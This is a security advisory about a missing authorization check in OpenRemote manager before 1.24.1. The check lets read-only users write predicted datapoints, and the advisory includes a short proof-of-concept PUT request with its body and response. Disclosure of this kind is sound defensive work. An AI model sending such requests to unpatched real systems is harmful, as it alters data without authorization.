OpenRemote read-only asset users can write predicted datapoints
Summary
The predicted datapoint write endpoint allows users with only read:assets privileges to write predicted datapoints.
The endpoint:
PUT /api/{realm}/asset/predicted/{assetId}/{attributeName}
accepts write requests from users lacking write:assets.
The implementation appears to check READ_ASSETS while performing a write operation through:
assetPredictedDatapointService.updateValues(...)
PoC
A user was created with only:
read:assets
and without write:assets.
The following request succeeded:
PUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature
Request body:
[{"x":1779199999001,"y":1337}]
Response:
HTTP/2 204
Database verification confirmed the datapoint was written successfully:
entity_id: 4Fr8Pcp7iDjrEmoSUFolvT
attribute_name: temperature
value: 1337
Impact
Users with read-only asset permissions can modify predicted datapoints for assets.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | io.openremote:openremote-manager | < 1.24.1 | 1.24.1 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N- Weakness (CWE)
CWE-862- Platform
- Java / Kotlin (Maven)
- Package
io.openremote:openremote-manager- Disclosed
- 06.07.2026
- Updated
- 11.10.2026 12:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-xj53-j257-hxvg - CC BY 4.0
Vulnerability history: io.openremote:openremote-manager
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 7
- First → latest
- 04.2026 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 4
- Medium 1
Disclosures per year
- 2026: 7
-
OpenRemote read-only asset users can write predicted datapoints this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.